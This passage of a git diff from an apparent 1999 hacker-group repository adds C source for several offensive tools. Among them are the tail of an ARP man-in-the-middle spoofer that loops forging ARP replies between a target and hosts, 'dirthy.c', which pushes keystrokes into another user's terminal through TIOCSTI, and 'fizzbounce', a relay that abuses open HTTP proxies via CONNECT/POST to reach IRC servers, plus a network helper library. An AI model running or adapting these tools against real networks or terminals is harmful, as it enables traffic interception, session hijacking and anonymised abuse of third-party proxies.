mac2str(ipmac->mac)); + printf("%s is at %s\n", int_ntoa(ipmac0->ip), + mac2str(opt.mymac)); + } +} + +int +main(int argc, char *argv[]) +{ + char error_buf[MAXBUFSIZE + 1]; + int i; + unsigned short c = 0; + struct _ipmac ipmac; + + init_vars(); + do_opt(argc, argv); + if (opt.initipmac == NULL) + usage(0, "not enough parameters"); + + banner(); + + if(libnet_init_packet(LIBNET_ETH_H + LIBNET_ARP_H, &pkt) == -1) + die(EXIT_FAILURE, "libnet_init_packet failed."); + + if((opt.link = libnet_open_link_interface(opt.ldev, error_buf)) == NULL) + die(EXIT_FAILURE, "libnet_open_link_interface failed: %s.", + error_buf); + + signal(SIGINT, cleanup); + signal(SIGKILL, cleanup); + + c = 0; + i = 0; + while (1) + { + + if (opt.getnextipmac(&ipmac) == -1) + { + if (opt.resetipmac(NULL) != 0) + die(EXIT_FAILURE, "unable to reset ipmac list"); + + opt.getnextipmac(&ipmac); + } + + if (!(opt.flags & OPT_REVASYM)) + { + if (opt.verb) + print_amitm(&opt.trgt, &ipmac); + do_arpmim(opt.mymac, &opt.trgt, &ipmac); + } + + if (!(opt.flags & OPT_ASYM)) + { + usleep(3000); /* 0.03 seconds */ + if (opt.verb) + print_amitm(&ipmac, &opt.trgt); + do_arpmim(opt.mymac, &ipmac, &opt.trgt); + } + + usleep(opt.pwait * 1000); + } + + exit (EXIT_SUCCESS); + return (EXIT_SUCCESS); +} + diff --git a/other/dirthy/dirthy.c b/other/dirthy/dirthy.c new file mode 100644 index 0000000..05b8caa --- /dev/null +++ b/other/dirthy/dirthy.c @@ -0,0 +1,123 @@ +/* writeonly redo if dirtyh.c.. hmm, still ugly, but cbreak mode - typo/teso */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define EXTERN extern +#define PRIVATE static +#define PUBLIC + +PRIVATE struct termios save_termios; +PRIVATE int ttysavefd = -1; +PRIVATE enum { RESET, DIRTY } ttystate = RESET; + +int tty_dirtyterm (int fd) { + struct termios buf; + + if (tcgetattr(fd, &save_termios) < 0) + return(-1); + + buf = save_termios; + + buf.c_lflag &= ~(ECHO | ICANON); + + buf.c_cc[VMIN] = 1; + buf.c_cc[VTIME] = 0; + + if (tcsetattr(fd, TCSAFLUSH, &buf) <0) + return(-1); + + ttystate = DIRTY; + ttysavefd = fd; + + return(0); +} + +int tty_reset (int fd) { + if (ttystate == RESET) + return(0); + + if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0) + return(-1); + + ttystate = RESET; + return(0); +} + +void tty_cleanup (void) { + if (ttysavefd >= 0) { + fflush(stdout); + tty_reset(ttysavefd); + } + exit(EXIT_SUCCESS); +} + +void err (const int syserr, const char *msg, ...) { + va_list ap; + + printf("err: "); + + va_start (ap, msg); + vprintf (msg, ap); + va_end (ap); + + if (syserr) + printf(": %s\n", sys_errlist[errno]); + else + printf("\n"); + + tty_cleanup(); + exit(EXIT_FAILURE); +} + +void sig_catch (int signo) { + printf("%s\n", sys_siglist[signo]); + tty_cleanup(); +} + +int main (int argc, char **argv) { + int i, fd; + char c; + char moo[2]; /* char + \0 */ + + if (argc < 2) + err(0, "usage: %s ", argv[0]); + + if (signal(SIGINT, sig_catch) == SIG_ERR) + err(1, "signal(SIGINT) error"); + if (signal(SIGQUIT, sig_catch) == SIG_ERR) + err(1, "signal(SIGQUIT) error"); + if (signal(SIGTERM, sig_catch) == SIG_ERR) + err(1, "signal(SIGTERM) error"); + + if ( (fd = open(argv[1], O_WRONLY)) < 0) + err(1, "open() error"); + + tty_dirtyterm(STDIN_FILENO); + + while ( (i = read(STDIN_FILENO, &c, 1)) == 1) { + c &= 255; + sprintf(moo, "%c", c); + printf("%c", c); + if (c == 127) + printf("\b \b"); + fflush(stdout); + ioctl(fd, TIOCSTI, moo); + } + + tty_reset(STDIN_FILENO); + if (i <= 0) + err(1, "read error"); + + return(42); /* not reached */ +} diff --git a/other/fizzbounce/Makefile b/other/fizzbounce/Makefile new file mode 100644 index 0000000..98544a4 --- /dev/null +++ b/other/fizzbounce/Makefile @@ -0,0 +1,15 @@ + +CFILES=client.c main.c network.c relay.c +LIBS=-lpthread +CC=gcc +CFLAGS=-g -DDEBUG +PREFIX=/usr/local + +all: fizzbounce + +clean: rm -f *.o fizzbounce + +fizzbounce: + ${CC} -o fizzbounce ${CFILES} ${CFLAGS} ${LIBS} + + diff --git a/other/fizzbounce/client.c b/other/fizzbounce/client.c new file mode 100644 index 0000000..f017525 --- /dev/null +++ b/other/fizzbounce/client.c @@ -0,0 +1,106 @@ + +/* bounce 4 all + * 1999 (c) scut + * + * client routines + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "client.h" +#include "network.h" +#include "relay.h" + +extern int vuln; + +void * +cl_handle (client *cl) +{ + int n; + char buff[1024]; + + pthread_mutex_lock (&cl->cl_mutex); + printf ("new client from %s port %d\n", inet_ntoa (cl->csa.sin_addr), cl->csa.sin_port); + pthread_mutex_unlock (&cl->cl_mutex); + + /* now, since we have a client that want's to get relayed, and passed all checks, + * establish a connection to the remote server by choosing a bounceip / siteip + */ + + printf ("control connection to %s:%d\n", cl->connip, cl->connport); + + pthread_mutex_lock (&cl->cl_mutex); + cl->ss = net_connect (&cl->css, cl->connip, cl->connport, 45); + if (cl->ss == -1) { + printf ("failed to relay client from %s:%d to %s:%d\n", + inet_ntoa (cl->csa.sin_addr), cl->csa.sin_port, cl->connip, cl->connport); + pthread_mutex_unlock (&cl->cl_mutex); + return (NULL); + } else { + printf ("successfully relayed client from %s:%d to %s:%d\n", + inet_ntoa (cl->csa.sin_addr), cl->csa.sin_port, cl->connip, cl->connport); + } + pthread_mutex_unlock (&cl->cl_mutex); + + /* now since we have both, a connection from the client to us, + * and a connection from us to the real server we call the main relay handler + */ + + if (vuln == 1) { + net_write (cl->ss, "CONNECT %s:%s HTTP/1.0\n\n", cl->ircip, cl->ircport); + } else if (vuln == 2) { + net_write (cl->ss, "POST http://%s:%s/ HTTP/1.0\n\n", cl->ircip, cl->ircport); + } +// memset (buff, '\0', sizeof (buff)); +// n = net_rlinet (cl->ss, buff, sizeof (buff), 45); + +// if (n <= 0) +// goto clerror; + +// printf ("READ: %s\n", buff); +// if (strncmp (buff, "HTTP/1.0 200", 12) != 0) +// goto clerror; + + sleep (5); + memset (buff, '\0', sizeof (buff)); + rly_client (cl); + +clerror: + close (cl->ss); + close (cl->cs); + + /* the relay handler only exits on failure or connection close request, + * either from the remote server or our little client + * in any case, we have to terminate the client + */ + + /* should never happen */ + return (NULL); +} + +client * +cl_add (void) +{ + int n; + client *cl; + + cl = (client *) calloc (1, sizeof (client)); + if (cl) + cl_init (cl); + + return (cl); +} + +void +cl_init (client *cl) +{ + pthread_mutex_init (&cl->cl_mutex, NULL); + return; +} + diff --git a/other/fizzbounce/client.h b/other/fizzbounce/client.h new file mode 100644 index 0000000..23f8b35 --- /dev/null +++ b/other/fizzbounce/client.h @@ -0,0 +1,47 @@ + +#include +#include + +#ifndef FIZZ_CLIENT_H +#define FIZZ_CLIENT_H + +typedef struct client { + pthread_t tid; /* thread id */ + pthread_mutex_t cl_mutex; /* client mutex */ + int cs; /* client socket */ + struct sockaddr_in csa; + + char *connip; + unsigned short connport; + char *ircip, *ircport; + int ss; /* control connection socket to server */ + struct sockaddr_in css; /* server socket address */ +} client; + +/* cl_handle + * + * thread that handles one client. once a new client connects this thread + * is started and handles anything the client wants. + * client *cl is a new client structure, which has to be initialized already + * + * returns nothing + */ + +void *cl_handle (client *cl); + +/* cl_add + * + * adds a new client and returns + * NULL on failure + * client * to new client if succes + */ +client *cl_add (void); + +/* cl_init + * + * initializes a fresh client structure =) + */ +void cl_init (client *cl); + +#endif + diff --git a/other/fizzbounce/main.c b/other/fizzbounce/main.c new file mode 100644 index 0000000..ffad0b8 --- /dev/null +++ b/other/fizzbounce/main.c @@ -0,0 +1,125 @@ + +/* bounce 4 all + * 1999 (c) scut + * + * main routines + */ + +#define B4A_MAIN_C + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "relay.h" +#include "client.h" +#include "main.h" +#include "network.h" + +bound *b; +int vuln = 0; /* 1 = connect, 2 = post */ + +int +main (int argc, char **argv) +{ + int n; + + banner (); + + if (argc != 8) { + usage (); + } + +/* if (fork () != 0) + exit (0); +*/ + if (argv[1][0] == 'c') + vuln = 1; + if (argv[1][0] == 'p') + vuln = 2; + if (vuln == 0) + usage (); + + + b = net_bind (argv[2], atoi (argv[3])); + if (b == NULL) { + printf ("cannot bind to %s:%u\n", argv[2], atoi (argv[3])); + quit (); + } + printf ("bound to %s, port %u\n", argv[2], atoi (argv[3])); + + srv_main (argv[4], argv[5], argv[6], argv[7]); + + /* should never happen */ + return (0); +} + +void +srv_main (char *connip, char *connport, char *ircip, char *ircport) +{ + struct sockaddr_in csa; + client *cnew; + int cs, n; + + while (1) { + cs = net_accept (b->bs, &csa, 20); + if (cs == -1) { + quit(); + } + + /* if we actually experience a new connection start a new client thread */ + if (cs) { + cnew = cl_add (); + if (cnew == NULL) { + printf ("cannot add new client\n"); + } else { + pthread_mutex_lock (&cnew->cl_mutex); + cnew->cs = cs; + cnew->connip = strdup (connip); + cnew->connport = atoi (connport); + cnew->ircip = strdup (ircip); + cnew->ircport = strdup (ircport); + memcpy (&cnew->csa, &csa, sizeof (struct sockaddr_in)); + pthread_mutex_unlock (&cnew->cl_mutex); + + n = pthread_create (&cnew->tid, NULL, (void *) cl_handle, (void *) cnew); + if (n == -1) { + printf ("cannot create new client thread: %s\n", strerror (errno)); + } + } + } + } + + quit (); +} + +void +usage (void) +{ + printf ("usage: fizzbnc \n" + " \n"); + exit (EXIT_FAILURE); + return; +} + +void +banner (void) +{ + printf ("fizzbounce "VERSION" by "AUTHORS"\n"); + return; +} + +void +quit (void) +{ + printf ("shutting fizzbounce down.\n"); + + /* terminate main thread */ + exit (0); +} + diff --git a/other/fizzbounce/main.h b/other/fizzbounce/main.h new file mode 100644 index 0000000..de6875f --- /dev/null +++ b/other/fizzbounce/main.h @@ -0,0 +1,14 @@ + +#ifndef FIZZ_MAIN_H +#define FIZZ_MAIN_H + +#define VERSION "v0.2-b990709-double-spin-kick-edition-:-)" +#define AUTHORS "team teso" + +void srv_main (char *connip, char *connport, char *ircip, char *ircport); +void usage (void); +void banner (void); +void quit (void); + +#endif + diff --git a/other/fizzbounce/network.c b/other/fizzbounce/network.c new file mode 100644 index 0000000..5e73e5c --- /dev/null +++ b/other/fizzbounce/network.c @@ -0,0 +1,691 @@ + +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking routines + * based on my hbot networking sources, + * revised, extended and adapted 990405 + * extended, improved and fixed 990430 + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + +int net_readtimeout = NET_READTIMEOUT; +int net_conntimeout = NET_CONNTIMEOUT; +int net_identtimeout = NET_IDENTTIMEOUT; + +int +net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec) +{ + int s5s; + struct sockaddr_in cs; + + s5s = net_connect (&cs, socks, sport, sec); + if (s5s == -1) + return (-1); + + if (net_socks_put_s5info (s5s, server, port, sec) == -1) { + close (s5s); + return (-1); + } + return (s5s); +} + +int +net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec) +{ + int n; + char buff[1024]; + + /* v5 + noauth */ + net_write (s5s, "\x05\x01%c", 0); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + recv (s5s, buff, sizeof (buff), 0); + + /* chain us =) */ + net_write (s5s, "\x05\x01%c\x03%c%s%c%c", 0, strlen (server), server, (port >> 8) & 0xff, port & 0xff); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + n = recv (s5s, buff, sizeof (buff), 0); + if (buff[1] != 0x00) { + return (-1); + } + return (1); +} + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + n = sscanf (inp, "%a[^:]:%hu", ip, port); + if (n != 2) + return (0); + + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + +char * +net_getlocalip (void) +{ + struct sockaddr_in pf; + char name[255]; + + memset (name, '\0', sizeof (name)); + + if (gethostname (name, sizeof (name) - 1) == -1) { + return (NULL); + } + + pf.sin_addr.s_addr = net_resolve (name); + + return (strdup (inet_ntoa (pf.sin_addr)));; +} + +FILE * +net_descriptify (int socket) +{ + FILE *fp; + + fp = fdopen (socket, "r+"); + return ((fp == NULL) ? (NULL) : (fp)); +} + +/* loosely based on rfc931.c */ + +int +net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport) +{ + int is; /* ident socket */ + struct sockaddr_in isa; + int n; + char identreply[512], *cp; + unsigned int rmt_port, our_port; + + + *ident = NULL; + + is = net_connect (&isa, inet_ntoa (remotes->sin_addr), 113, net_identtimeout); + if (is == -1) + return (-1); + + /* ident request */ + net_write (is, "%u,%u\r\n", remoteport, localport); + memset (identreply, '\0', sizeof (identreply)); + + n = net_rlinet (is, identreply, sizeof(identreply) -1, net_identtimeout); + if (n == -1) { + close (is); + return (-1); + } + close (is); + + *ident = calloc (1, 256); +#ifdef DEBUG + printf("%s\n", identreply); +#endif + n = sscanf (identreply, "%u , %u : USERID :%*[^:]:%255s", &rmt_port, &our_port, *ident); + if (n != 3) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* check the ports 'man */ + if ((rmt_port != remoteport) || (our_port != localport)) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* strip character and save some memory */ + if ((cp = strchr (*ident, '\r'))) + *cp = '\0'; + n = strlen (*ident); + *ident = realloc (*ident, n + 1); + (*ident)[n] = '\0'; + +#ifdef DEBUG + printf("ident-return: %s\n", *ident); +#endif + return (1); +} + + +int +net_accept (int s, struct sockaddr_in *cs, int maxsec) +{ + int flags, n; + fd_set ac_s; + int len; + struct timeval tval; + + flags = fcntl(s, F_GETFL, 0); + if (flags == -1) + return (-1); + n = fcntl(s, F_SETFL, flags | O_NONBLOCK); + if (flags == -1) + return (-1); + + FD_ZERO(&ac_s); + FD_SET(s, &ac_s); + tval.tv_sec = maxsec; + tval.tv_usec = 0; + + n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); + if (n == 0) + return (0); + + if (FD_ISSET(s, &ac_s)) { + len = sizeof(struct sockaddr_in); + n = accept(s, (struct sockaddr *) cs, &len); + if (n == -1) { + switch (errno) { + case EWOULDBLOCK: + case ECONNABORTED: + case EPROTO: + case EINTR: if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); + default: return (-1); + } + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (n); + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); +} + +int +net_testvip (char *ip) +{ + struct ifi_info *ifi, *ifc; + struct in_addr ip_n; + + if (ip == NULL) + return (1); + if (strcmp(ip, "*") == 0) + return (1); + + ip_n.s_addr = net_resolve(ip); + if (!(ip_n.s_addr)) + return (0); + + ifi = net_ifi_get (AF_INET, 1); + if (ifi == NULL) + return (0); + for (ifc = ifi; ifc != NULL; ifc = ifc->ifi_next) { + if (memcmp(&ip_n.s_addr, &ifc->ifi_saddr.s_addr, sizeof(struct in_addr)) == 0) { + net_ifi_free(ifi); + return (1); + } + } + net_ifi_free(ifi); + return (0); +} + +void +net_ifi_free (struct ifi_info *tf) +{ + struct ifi_info *ifi, *ifil; + + ifil = NULL; + for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) { + if (ifil) + free (ifil); + if (ifi->ifi_addr) + free (ifi->ifi_addr); + ifil = ifi; + } + if (ifil) + free (ifil); + return; +} + +struct ifi_info * +net_ifi_get (int family, int doaliases) +{ + struct ifi_info *ifi, *ifihead, **ifipnext; + int sockfd, len, lastlen, flags, myflags; + char *ptr, *buf, lastname[IFNAMSIZ], *cptr; + struct ifconf ifc; + struct ifreq *ifr, ifrcopy; + struct sockaddr_in *sinptr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + return (NULL); + + lastlen = 0; + len = 100 * sizeof(struct ifreq); + for (;;) { + buf = malloc(len); + if (buf == NULL) + return (NULL); + ifc.ifc_len = len; + ifc.ifc_buf = buf; + if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { + if (errno != EINVAL || lastlen != 0) + return (NULL); + } else { + if (ifc.ifc_len == lastlen) + break; + lastlen = ifc.ifc_len; + } + len += 10 * sizeof(struct ifreq); + free (buf); + } + ifihead = NULL; + ifipnext = &ifihead; + lastname[0] = 0; + + for (ptr = buf; ptr < buf + ifc.ifc_len;) { + ifr = (struct ifreq *) ptr; + if (ifr->ifr_addr.sa_family == AF_INET) + len = sizeof(struct sockaddr); + ptr += sizeof(ifr->ifr_name) + len; + + if (ifr->ifr_addr.sa_family != family) + continue; + myflags = 0; + if ((cptr = strchr(ifr->ifr_name, ':')) != NULL) + *cptr = 0; + if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) { + if (doaliases == 0) + continue; + myflags = IFI_ALIAS; + } + memcpy(lastname, ifr->ifr_name, IFNAMSIZ); + + ifrcopy = *ifr; + if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0) + return (NULL); + flags = ifrcopy.ifr_flags; + if ((flags & IFF_UP) == 0) + continue; + + ifi = calloc(1, sizeof(struct ifi_info)); + if (ifi == NULL) + return (NULL); + *ifipnext = ifi; + ifipnext = &ifi->ifi_next; + ifi->ifi_flags = flags; + ifi->ifi_myflags = myflags; + memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME); + ifi->ifi_name[IFI_NAME - 1] = '\0'; + +#ifdef DEBUG + printf("got: %s\n", ifi->ifi_name); +#endif + + switch (ifr->ifr_addr.sa_family) { + case AF_INET: + sinptr = (struct sockaddr_in *) &ifr->ifr_addr; + memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr)); + if (ifi->ifi_addr == NULL) { + ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in)); + if (ifi->ifi_addr == NULL) + return (NULL); + memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in)); + } + break; + default: + break; + } + } + free (buf); + return (ifihead); +} + +void +net_boundfree (bound *bf) +{ + close (bf->bs); + free(bf); + return; +} + +bound * +net_bind (char *ip, unsigned short int port) +{ + bound *b; + int br, gsnr, lr; + int len; + struct sockaddr_in *sap; + + if (port >= 65536) + return (NULL); + + b = calloc(1, sizeof(bound)); + if (b == NULL) + return (NULL); + b->bs = socket(AF_INET, SOCK_STREAM, 0); + if (b->bs == -1) + goto berror; + + sap = (struct sockaddr_in *) &b->bsa; + sap->sin_family = AF_INET; + sap->sin_port = htons(port); /* 0 = ephemeral */ + + if (ip != NULL) { + if (strcmp(ip,"*") == 0) { + sap->sin_addr.s_addr = htonl(INADDR_ANY); + } else { + if (!(sap->sin_addr.s_addr = net_resolve(ip))) { + goto berror; + } + } + } else { + sap->sin_addr.s_addr = htonl(INADDR_ANY); + } + + br = bind(b->bs, (struct sockaddr *) &b->bsa, sizeof(struct sockaddr)); + if (br == -1) + goto berror; + + len = sizeof(struct sockaddr); + gsnr = getsockname(b->bs, (struct sockaddr *) &b->bsa, &len); + b->port = ntohs(sap->sin_port); + if (gsnr == -1) + goto berror; + + lr = listen(b->bs, 16); + if (lr == -1) { + goto berror; + } + return (b); + +berror: + free(b); + + return(NULL); +} + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr(host); + if (i == -1) { + he = gethostbyname(host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + +int +net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) +{ + int n, len, error, flags; + int fd; + struct timeval tv; + fd_set rset, wset; + + if (!(cs->sin_addr.s_addr = net_resolve(server))) { + return (-1); + } + cs->sin_family = AF_INET; + cs->sin_port = htons(port); + + fd = socket(cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + flags = fcntl(fd, F_GETFL, 0); + if (flags == -1) + return (-1); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + error = 0; + + n = connect(fd, (struct sockaddr *) cs, sizeof(struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (fd); +} + +int +net_tline (char *buf, int bufsize) +{ + int p; + + for (p = 0; p < bufsize; p++) { + if (buf[p] == '\n') + return (p + 1); + } + return (-1); +} + +int +net_rlinet (int fd, char *buf, int bufsize, int sec) +{ + int n; + unsigned long int rb = 0; + struct timeval tv_start, tv_cur; + + memset(buf, '\0', bufsize); + (void) gettimeofday(&tv_start, NULL); + + do { + (void) gettimeofday(&tv_cur, NULL); + if (sec > 0) { + if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - + ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { + return (-1); + } + } + n = net_rtimeout(fd, net_readtimeout); + if (n <= 0) { + return (-1); + } + n = read(fd, buf, 1); + if (n <= 0) { + return (n); + } + rb++; + if (*buf == '\n') + return (rb); + buf++; + if (rb >= bufsize) + return (-1); + } while (1); +} + +long int +net_rbuf (int fd, char **dst) +{ + long int ml = 0; + long int read_bytes; + int p; + + while ((p = net_rtimeout(fd, net_readtimeout)) == 1) { + *dst = (char *) realloc(*dst, ml + NET_BSIZE); + if (*dst == NULL) + return (-1); + ml += read_bytes = read(fd, *dst + ml, NET_BSIZE); + if (read_bytes == 0) { + *dst = (char *) realloc(*dst, ml); + if ((*dst == NULL) && (ml == 0)) { + return (1); + } else if (*dst == NULL) { + return (-1); + } else { + return (ml); + } + } + } + return (-1); +} + +int +net_rbuft (int fd, char *dst, unsigned long int dsize) +{ + unsigned long int bl = 0, m; + int p; + + while (bl < dsize) { + p = net_rtimeout(fd, net_readtimeout); + if ((p == 0) || (p == -1)) { + return (-1); + } + + m = read(fd, dst + bl, (dsize - bl)); + if ((m == 0) || (m == -1)) { + return (-1); + } + bl += m; + } + return (1); +} + +int +net_rtimeout (int fd, int sec) +{ + fd_set rset; + struct timeval tv; + int n, error, flags; + + error = 0; + flags = fcntl(fd, F_GETFL, 0); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&rset); + FD_SET(fd, &rset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + /* now we wait until more data is received then the tcp low level watermark, + * which should be setted to 1 in this case (1 is default) + */ + + n = select(fd + 1, &rset, NULL, NULL, &tv); + if (n == 0) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) { + return (-1); + } + /* socket readable ? */ + if (FD_ISSET(fd, &rset)) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (1); + } else { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } +} + +void +net_write (int fd, const char *str, ...) +{ + char tmp[1025]; + va_list vl; + int i; + + va_start(vl, str); + memset(tmp, 0, sizeof(tmp)); + i = vsnprintf(tmp, sizeof(tmp), str, vl); + va_end(vl); + +#ifdef DEBUG + printf("[snd] %s\n", tmp); +#endif + + send(fd, tmp, i, 0); + return; +} + diff --git a/other/fizzbounce/network.h b/other/fizzbounce/network.h new file mode 100644 index 0000000..0fcaa06 --- /dev/null +++ b/other/fizzbounce/network.h @@ -0,0 +1,205 @@ +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking code + */ + +#include +#include +#include +#include + +#ifndef _NETWORK_H +#define _NETWORK_H + +#define NET_READTIMEOUT 180 +#define NET_CONNTIMEOUT 60 +#define NET_IDENTTIMEOUT 15 + +#define IFI_NAME 16 +#define IFI_HADDR 8 + +/* pointer to this struct list returned by net_get_ifi + */ +struct ifi_info { + char ifi_name[IFI_NAME]; + u_char ifi_haddr[IFI_HADDR]; + u_short ifi_hlen; + short ifi_flags; + short ifi_myflags; + struct sockaddr *ifi_addr; + struct in_addr ifi_saddr; + struct ifi_info *ifi_next; +}; + +#define IFI_ALIAS 1 + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; +extern int net_identtimeout; + +/* net_socks_connect + * + * relays through an open socks 5 server (NO AUTH type) + * returns a socket descriptor which is already connected + */ + +int net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec); + +/* net_socks_put_s5info + * + * inserts socks 5 compatible relay information into socket s5s, + * used to relay over more then just one socks server + */ + +int net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec); + +/* net_parseip + * + * reads an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * returns 0 on failure + * returns 1 on success + */ +int net_parseip (char *inp, char **ip, unsigned short int *port); + +/* net_getlocalip + * + * returns the local IP address as string on success + * returns NULL on failure + */ + +char *net_getlocalip (void); + +/* net_descriptify + * + * descriptifies a socket ;) + * returns -1 on failure + * returns file descriptor on success + */ + +FILE *net_descriptify (int socket); + +/* net_ident + * + * idents a connection identified by the host:port pairs on both sides, + * returning the ident in *ident + * + * returns 1 on success + * returns -1 on failure + */ + +int net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport); + +/* net_accept + * accepts a connection from socket s, and stores the connection + * into cs. + * wait a maximum amount of maxsec seconds for connections + * maxsec can also be zero (infinite wait, until connection) + * + * returns 0 if no connection has been made within maxsec seconds + * returns -1 if an error appears + * returns the socket number if a connection has been made + */ + +int net_accept (int s, struct sockaddr_in *cs, int maxsec); + +/* net_get_ifi + * get interface information + * returns NULL on failure + * returns a pointer to a linked list structure ifi_info (see above) + */ + +struct ifi_info *net_ifi_get (int family, int doaliases); +void net_ifi_free (struct ifi_info *tf); + +/* net_testvip + * tests if virtual ip/hostname is available for use on the local machine, + * returns 1 if the ip can be used + * 0 if the ip/host is not available + */ +int net_testvip (char *ip); + +/* net_bind + * binds a socket to an ip:port on the local machine, + * ip can be either NULL (bind to all IP's on the host), or a pointer + * to a virtual host name, or a real IP, or "*" for any. + * port can be either 0 (ephemeral port), or any free port. + * + * returns NULL on failure + * pointer to bound structure on success + */ +bound *net_bind (char *ip, unsigned short int port); +void net_boundfree (bound *bf); + +/* net_resolve + * resolves host into s_addr + */ +unsigned long int net_resolve(char *host); + +/* net_connect + * connects to the given server and port with a max timeout of sec + * initializes the sockaddr_in struct correctly (ipv4), accepts any + * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname + * creates a new socket and returns either -1 if failed or + * the socket if connection has been established within the timeout limit + * routine is still IPv4 biased :-/ + * + * returns -1 on failure + * returns socket if success + */ +int net_connect(struct sockaddr_in *cs, char *server, unsigned short int port, int sec); + +/* net_rtimeout + * waits max seconds for fd to become readable + * returns -1 on error (errno set) + * returns 1 on readability + */ +int net_rtimeout(int fd, int sec); + +/* net_rbuf + * allocates memory and reads to *dst until connection close + * returns n if success (n = number of bytes read) + * returns -1 if failed + */ +long int net_rbuf(int fd, char **dst); +#define NET_BSIZE 4096 + +/* net_rbuft + * reads dsize bytes into dst from fd, with timeout + * returns 1 on success + * returns -1 on failure + */ +int net_rbuft(int fd, char *dst, unsigned long int dsize); + +/* net_rlinet + * reads a line from socket descriptor with timeout to buffer + * if sec = 0, then only a continuous stream of data is required, not + * an overall timeout. + * returns -1 on timeout + * returns 0 on connection close + * returns length of readen line (including '\n') + */ +int net_rlinet(int fd, char *buf, int bufsize, int sec); + +/* net_tline + * returns length if string contains '\n' + * returns -1 if no '\n' in string + */ +int net_tline(char *buf, int bufsize); + +/* net_write + * prints a formatted string to a socket + */ +void net_write(int fd, const char *str, ...); + +#endif + diff --git a/other/fizzbounce/relay.c b/other/fizzbounce/relay.c new file mode 100644 index 0000000..194824c --- /dev/null +++ b/other/fizzbounce/relay.c @@ -0,0 +1,166 @@ + +/* bounce 4 all + * 1999 (c) scut + * + * relay routines + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "client.h" +#include "network.h" +#include "relay.h" + +void +rly_client (client *cl) +{ + int n, i = 0, maxfd; + int bc = 1; + char cbuff[4096], sbuff[4096]; + fd_set chainset; + struct timeval tval; + + pthread_mutex_lock (&cl->cl_mutex); + + /* now, since we authorized us, we should just chain every control + * connection command except it is in our parser array, in this case + * we should call the parser function :) + */ + + pthread_mutex_unlock (&cl->cl_mutex); + + memset (cbuff, '\0', sizeof (cbuff)); + memset (sbuff, '\0', sizeof (sbuff)); + + while (bc) { + 